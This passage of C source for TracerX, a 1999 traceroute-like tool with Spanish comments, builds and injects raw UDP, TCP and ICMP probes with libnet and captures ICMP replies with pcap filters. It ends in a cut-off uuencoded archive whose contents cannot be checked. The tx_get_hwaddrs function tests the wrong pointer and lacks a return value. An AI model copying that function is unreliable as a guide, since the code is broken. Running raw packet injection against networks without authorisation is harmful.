if ((!strcasecmp(supp_protocols[i], protocol)))
{
switch (i)
{
case 0:
/* UDP */
(*tx_c)->packet_size = IP_H + UDP_H + TX_P;
return (IPPROTO_UDP);
case 1:
/* TCP */
(*tx_c)->packet_size = IP_H + TCP_H + TX_P;
return (IPPROTO_TCP);
case 2:
/* ICMP */
(*tx_c)->packet_size = IP_H + ICMP_ECHO_H + TX_P;
return (IPPROTO_ICMP);
default:
tx_error(FATAL, "Protocolo desconocido: %s\n", protocol);
}
}
}
tx_error(FATAL, "Procolo desconocido: %s\n", protocol);
/* INNECESARIO (silencia los warnings del compilador) */
return (-1);
}
int
tx_get_hwaddrs(struct ether_addr **l, struct ether_addr **r,
struct tx_control **tx_c, u_char *errbuf)
{
*l = get_hwaddr((*tx_c)->l, (*tx_c)->device, errbuf);
if (l == NULL)
{
return (-1);
}
}
/* EOF */
* tx_error.c:
/*
* $Id: tx_error.c,v 1.1.1.1 1999/05/28 23:55:06 route Exp $
*
* Tracerx
* tx_error.c - error handling routines
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* Jeremy F. Rauch <jrauch@cadre.org>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#if (HAVE_CONFIG_H)
#include "./config.h"
#endif
#include "./tx_main.h"
#include "./tx_error.h"
void
tx_error(int severity, char *msg, ...)
{
va_list ap;
char buf[BUFSIZ];
va_start(ap, msg);
vsnprintf(buf, sizeof(buf) - 1, msg, ap);
switch (severity)
{
case WARNING:
fprintf(stderr, "Warning: ");
break;
case CRITICAL:
fprintf(stderr, "Critical: ");
break;
case FATAL:
fprintf(stderr, "Fatal: ");
break;
}
fprintf(stderr, "%s", buf);
va_end(ap);
if (severity == FATAL)
{
exit(EXIT_FAILURE);
}
}
/* EOF */
* tx_framework.h:
/*
* $Id: tx_framework.h,v 1.3 1999/06/03 22:06:52 route Exp $
*
* Tracerx
*
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* Copyright (c) 1998 Mike D. Schiffman <mds@es2.net>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE. DEDICATED TO ARA.
*
*/
#ifndef _TX_TRACERX_H
#define _TX_TRACERX_H
#define TX_STATIC_PORTS 0x1
#define PACKET_MIN IP_H + UDP_H + TX_P
/* tamaño mínimo del paquete */
#define PACKET_MAX 1500 /* tamaño máximo del paquete */
#define BURST_RATE_MAX 30 /* max burst rate */
#define IP_TTL_MAX 255 /* IP TTL máximo */
#define PORT_MAX 65535 /* puerto máximo */
#define PROBE_MAX 100 /* pruebas máximas por ronda */
#define WAIT_MAX 360 /* tiempo máximo para esperar respuestas */
#define PCAP_BUFSIZ 576 /* bytes por paquete que podemos capturar */
int
tx_init_control(
struct tx_control **
);
int
tx_init_network(
struct tx_control **,
char *
);
int
tx_do_scan(
struct tx_control **
);
int
tx_shutdown(
struct tx_control **
);
#endif /* _TX_TRACERX_H */
/* EOF */
* tx_packet_build.h:
*
* $Id: tx_packet_build.h,v 1.3 1999/06/03 22:06:52 route Exp $
*
* Tracerx
* High-level packet construction routines
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* Copyright (c) 1998 Mike D. Schiffman <mds@es2.net>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE. DEDICATED TO ARA.
*
*/
#ifndef _TX_PACKET_BUILD_H
#define _TX_PACKET_BUILD_H
int
tx_packet_build_probe(
struct tx_control **
);
int
tx_packet_build_payload(
struct tx_control **,
int
);
int
tx_packet_build_udp(
struct tx_control **
);
int
tx_packet_build_tcp(
struct tx_control **
);
int
tx_packet_build_icmp(
struct tx_control **
);
int
tx_packet_update_probe(
struct tx_control **
);
#endif /* _TX_PACKET_BUILD_H */
/* EOF */
* tx_packet_inject.h:
/*
* $Id: tx_packet_inject.h,v 1.3 1999/06/03 22:06:52 route Exp $
*
* Tracerx
* High-level packet injection routines
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* Copyright (c) 1998 Mike D. Schiffman <mds@es2.net>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE. DEDICATED TO ARA.
*
*/
#ifndef _TX_PACKET_INJECT_H
#define _TX_PACKET_INJECT_H
int
tx_packet_inject(
struct tx_control **
);
#endif /* _TX_PACKET_INJECT_H */
/* EOF */
* tx_packet_verify.h:
/*
* $Id$
*
* Tracerx
* packet verification routines
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE. DEDICATED TO ARA.
*
*/
#ifndef _TX_PACKET_VERIFY_H
#define _TX_PACKET_VERIFY_H
int
tx_packet_verify_udp(
char *,
struct tx_control **
);
int
tx_packet_verify_tcp(
char *,
struct tx_control **
);
int
tx_packet_verify_icmp(
char *,
struct tx_control **
);
#endif /* _TX_PACKET_VERIFY_H */
/* EOF */
* tx_packet_filter.h:
/*
* $Id: tx_packet_filter.h,v 1.1 1999/06/03 22:06:52 route Exp $
*
* Tracerx
* packet filtering routines
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE. DEDICATED TO ARA.
*
*/
#ifndef _TX_PACKET_FILTER_H
#define _TX_PACKET_FILTER_H
/*
* Desde que no estamos poniendo el interfaz en modo promiscuo, no tenemos
* necesidad de buscar a traves de los paquetes para buscar nuestra IP; esto simplifica nuestro
* filtro de lenguaje. Para cada tipo de scan, por supueto necesitaremos recibir
* mensajes del tipo ICMP TTL caducado en transito (ICMP tipo 11).
* Para UDP, nuestro paquete terminal es inalcanzable (ICMP tipo 3).
* Para TCP, nuestro paquete terminalour es un TCP RST (o un RST/ACK).
* Para ICMP, nuestro paquete terminal es un ICMP echo reply.
* Sim embargo, para los 2 últimos necesitaremos estar preparados para inalcanzables como
* las condiciones de red son inpredecibles.
*/
#define TX_BPF_FILTER_UDP "icmp[0] == 11 or icmp[0] == 3"
#define TX_BPF_FILTER_TCP "icmp[0] == 11 or icmp[0] == 3 or tcp[14] == 0x12 \
or tcp[14] == 0x4 or tcp[14] == 0x14"
#define TX_BPF_FILTER_ICMP "icmp[0] == 11 or icmp[0] == 3 or icmp[0] == 0"
int
tx_set_pcap_filter(
char *, /* código del filtro a instalar */
struct tx_control **
);
#endif /* _TX_PACKET_FILTER_H */
/* EOF */
* tx_packet_capture.h:
/*
* $Id: tx_packet_capture.h,v 1.1.1.1 1999/05/28 23:55:06 route Exp $
*
* Tracerx
* High-level packet injection routines
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* Copyright (c) 1998 Mike D. Schiffman <mds@es2.net>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE. DEDICATED TO ARA.
*
*/
#ifndef _TX_PACKET_CAPTURE_H
#define _TX_PACKET_CAPTURE_H
#define TX_PACKET_IS_BORING 0
#define TX_PACKET_IS_EXPIRED 1
#define TX_PACKET_IS_TERMINAL 2
#define TX_PACKET_IS_TERMINAL_EXOTIC 3
#define TX_PACKET_IS_UNREACH_EN_ROUTE 4
int
tx_packet_snatcher(
struct tx_control **
);
#endif /* _TX_PACKET_CAPTURE_H */
/* EOF */
* tx_main.h:
/*
* $Id: tx_main.h,v 1.2 1999/05/29 20:28:42 route Exp $
*
* TracerX
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* Copyright (c) 1998 Mike D. Schiffman <mds@es2.net>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE. DEDICATED TO ARA.
*
*/
#ifndef _MAIN_H
#define _MAIN_H
#include
<stdarg.h>
#include <pcap.h>
#include <libnet.h>
#define BANNER "TracerX (c) 1999 Mike D. Schiffman <mike@infonexus.com> and \
Jeremy F. Rauch\n<jrauch@cadre.org>. Distribution is unlimited provided due \
credit is given and no fee is charged.\n\nhttp://www.packetfactory.net/tracerx \
for more information.\n"
void
usage(
char *
);
#endif /* _MAIN_H */
/* EOF */
* tx_report.h:
/*
* $Id$
*
* Tracerx
* Report generation routines
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE. DEDICATED TO ARA.
*
*/
#ifndef _TX_REPORT_H
#define _TX_REPORT_H
#include "./tx_struct.h"
void
tx_report(
int, /* La clase del paquete dle que estamso infromando */
u_char *, /* el paquete a informar */
struct tx_control ** /* tu ya sabes esta */
);
#endif /* _TX_REPORT_H */
/* EOF */
* tx_util.h:
/*
* $Id: tx_util.h,v 1.1.1.1 1999/05/28 23:55:06 route Exp $
*
* Tracerx
* Misc routines
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE. DEDICATED TO ARA.
*
*/
#ifndef _TX_UTIL_H
#define _TX_UTIL_H
#include "./tx_struct.h"
/*
* Convierte una cadena de texto a un entero, manejando los errores de balanceo.
* Acepta número de base 10 o 16.
* Cogido del traceroute y algo modificado.
* Sale con la razón si hay error.
*/
int /* el valor convertido */
tx_str2int(
register const char *, /* la cadena */
register const char *, /* el título del valor (solo para errores) */
register int, /* valor mínimo */
register int /* valor máximo */
);
int /* número del protocolo */
tc_prot_select(
char *, /* el protocolo desde la linea de comandos */
struct tx_control ** /* ya sabes.. */
);
int /* 1 == ok, -1 == error */
tx_get_hwaddrs(
struct ether_addr **, /* dirección ethernet local (para ser rellenada) */
struct ether_addr **, /* dirección ethernet remota (para ser rellenada) */
struct tx_control **, /* ya sabes.. */
u_char * /* buffer de error */
);
#endif /* _TX_UTIL_H */
/* EOF */
* tx_error.h:
/*
* $Id: tx_error.h,v 1.1.1.1 1999/05/28 23:55:06 route Exp $
*
* Tracerx
* Error handling routines
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* Copyright (c) 1998 Mike D. Schiffman <mds@es2.net>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE. DEDICATED TO ARA.
*
*/
#ifndef _TX_ERROR_H
#define _TX_ERROR_H
#define WARNING 0x1
#define CRITICAL 0x2
#define FATAL 0x4
void
tx_error(
int,
char *,
...
);
#endif /* _TX_ERROR_H */
/* EOF */
* tx_struct.h:
/*
* $Id: tx_struct.h,v 1.2 1999/06/03 22:06:52 route Exp $
*
* Tracerx
* tracerx structure prototypes
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* Jeremy F. Rauch <jrauch@cadre.org>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#ifndef _TX_STRUCT_H
#define _TX_STRUCT_H
#include <unistd.h>
#include <pcap.h>
#include <libnet.h>
/*
* Tracerx control structure.
*/
struct tx_control
{
u_char tx_flags; /* flags internos */
u_char *device; /* dispositivo a usar */
u_char *tx_packet; /* puntero al paquete */
u_short ip_tos; /* tipo de servicio IP */
u_short ip_df; /* no fragmentar IP */
u_short burst_rate; /* burst rate */
u_short current_ttl; /* IP TTL ahora */
u_short max_ttl; /* max IP TTL */
u_short initial_sport; /* puerto de origen inicial */
u_short initial_dport; /* puerto de destino inicial */
u_short id; /* paquete tracerx ID */
u_short use_name; /* usar nombres de dominio o dotted decimals */
u_short packet_size; /* tamaño tota ldel paquete */
int packet_offset; /* offset del paquete IP */
int protocol; /* protocolo de transporte en uso */
int probe_cnt; /* número de pruebas a mandar por ronda */
int verbose; /* modo detallado */
int reading_wait; /* esperar a leer de la red */
int writing_pause; /* esperar a escribir en la red */
u_long host; /* host de destino */
u_long packets_sent; /* paquetes enviados */
u_long packets_reply; /* paquetes que han recibido respuesta */
struct sockaddr_in sin; /* estructura dirección socket */
struct libnet_link_int *l; /* estructura de inyección de paquetes libnet */
pcap_t *p; /* estructura de escucha de paquetes pcap */
};
/*
* Payload del paquete
*/
struct tx_payload
{
u_char seq; /* número de secuencia del paquete */
u_char ttl; /* TTL del paquete con el que será inyectado */
struct timeval tv; /* vector de tiempo */
};
#define TX_P sizeof(struct tx_payload)
#endif /* _TX_STRUCT_H */
/* EOF */
----------------------------------------------------------------------------
El siguiente tarball contiene los ficheros de soporte incluyendo el autoconf
y los archivos de documentación
----------------------------------------------------------------------------
<++> tracerx-package.tar.gz.uue
begin 644 tracerx-package.tar.gz
M'XL(")M)V#<``W1R86-E<G@M<&%C:V%G92YT87(`[%QK5]M(DYZOZ%?T,-G!
M]L'RE9O)!6-,\+Q@.+9AR"%YC2RW;0VRI-4%S"3Y[_M4MR3+M\#,3K)GSXO.
MC&UU=U5755=7/=42.=/N^,`PN6I8/WVO*U_(Y[?+Y9_R\J+OPLY6/KHOYK<+
M/^6W=[:W\^5"OKB-]@+:T/_=)$I<@>=K+J9T;=O_UCC7#GS^(P3ZL=<ORB^,
ML5>-?H6=35UA\YX5U"(K[.WMY?+;N7R)%8N5_'9EJ\"$'5A]XK!7BB3NN)K.
MW>N87C36;.?1-88CGZ7TM$SHP[SHY4UM9'QF`PUBSV>HRF`\,:V!:?!)ZJ
MV^.W@GK)]1MW^?B1':NLI07ZB+W^PZ7O`UWKNURUW>';4)P#W;8&QC!P>=>P
MG,`_4)2+UOG[5O4LYO6&,5\(/5$:S7:G>GJ:[%)SA@6G,,VL-U*.ZL>-9KV=
M[+\UC9[%_:R<AV6S?:AM<>^6'6!T^T"I'9]6WT])B.9`MJ&O-JN6Z*L=**>-
MP_9<^\(\N,<D+&LZNN:P@^K14:/3.&]63[M$?:"<'_Y6KW5F9/4GW;%F6*I-
MO[CKVJ[\.7"U,7^PW3MY&_B&*7^YW+%='[\_*FMK3#!P-/V.^]U>8)A].2AL
M,:P_N.[/-$$P/Z#U8(L,X!L^=V>&WW/7RJMJ*HNFI7E+57J5HMS?`IS$6_
MP@5(LZS.7KUF69N]PHIB=2KH#!<VK2C3WQ4&KIYA6^H((T*;I)>QCOH$TY@>
M/\F<X!GQL1,LX\91!8YR56^UL0+*VH$[9MD!B;;F\3[+<K;AY=1,#G[D&SK3
M1YH;\;CYA(59_W5]/[<QY<#>"K5TDVL6S""Y973;Y2P#BR4U2L@9_<20P%>4
